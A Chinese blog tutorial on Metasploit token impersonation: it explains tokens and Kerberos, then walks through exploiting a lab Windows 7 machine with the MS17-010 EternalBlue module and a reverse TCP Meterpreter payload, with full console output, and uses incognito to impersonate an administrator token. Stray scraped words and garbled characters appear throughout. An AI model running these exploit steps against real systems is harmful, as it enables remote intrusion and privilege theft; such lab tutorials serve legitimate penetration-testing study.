Metasploit之令牌窃取

令牌简介及原理

令牌(Token) 就是系统的临时密钥,至关于帐户名和密码,用来决定是否允) 许此次请求和判断此次请求是属于哪个用户的。它容许你在不提供密码或其余凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统从新启动。
令牌最大的特色就是随机性,不可预测,通常黑客或软件没法猜想出来。令牌有不少种,好比访问令牌(Access Token)表示访问控制操做主题的系统对象;密保令牌(Security token),又叫做认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;会话令牌(Session Token)是交互会话中惟一的身份标识符。
在假冒令牌攻击中须要使用Kerberost协议。因此在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是经过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工做机制以下图所示。shell

Kerberos工做机制

客户端请求证书的过程以下所示。windows

  • 客户端向认证服务器(AS)发送请求,要求获得服务器的证书。
  • AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加s密密钥(又称为会话密钥,session key) 。固然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登陆客户端的身份。
  • 客户端将ticket传送到服务器上,服务器确认该客户端的话,便容许它登陆服务器。
  • 客户端登陆成功后,攻击者就能够经过入侵服务器获取客户端的令牌。

攻击机kali:192.168.1.104
靶机win7:192.168.1.102安全

假冒令牌实战利用

msf5 > search ms17_010            # 搜索永恒之蓝漏洞利用模块

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


msf5 > use exploit/windows/smb/ms17_010_eternalblue    # 用这个模块,注意,靶机别打补丁,别开防火墙,以保证试验成功
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp       # 用这个payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102         # 设置目标机IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104         # 设置攻击机IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                           # 开炮开炮开炮!!!

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >                                                # 能够开干坏事啦

此时咱们经过一系列前期渗透: https://www.jianshu.com/p/03a1c13f963a,已经成功得到了目标机的MeterpreterShell,首先输入getuid命令查看已经得到的权限,而后输入getsystem,发现提权失败。
(咦。。。直接system权限我透,算了继续作,看成我没有的亚子……
服务器

咱们先输入use incognito命令,而后输入list_tokens -u列出可用的token以下:
网络

能够看到有两种类型的令牌: 一种是Delegation Tokens,也就是受权令牌,它支持交互式登陆(例如能够经过远程桌面登陆访问) ;还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
由上图能够看到,咱们已经得到了一个系统管理员ge的受权令牌,如今就要假冒这个令牌,成功后便可拥有它的权限。
从输出的信息能够看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目标机的主机名,ge表示登陆的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法以下图所示。
session

注意:在输入HOSTNAME\USERNAME时须要两个反斜杠(\)
运行成功后在Meterpreter Shell下运行shell命令并输入whoami,能够看到笔者如今就是假冒的那个ge-pc\ge系统管理员了。tcp

说明

本文参考 开篇的博客连接 及 《Web安全攻防:渗透测试实战指南》
全部过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜!!!测试

相关文章
相关标签/搜索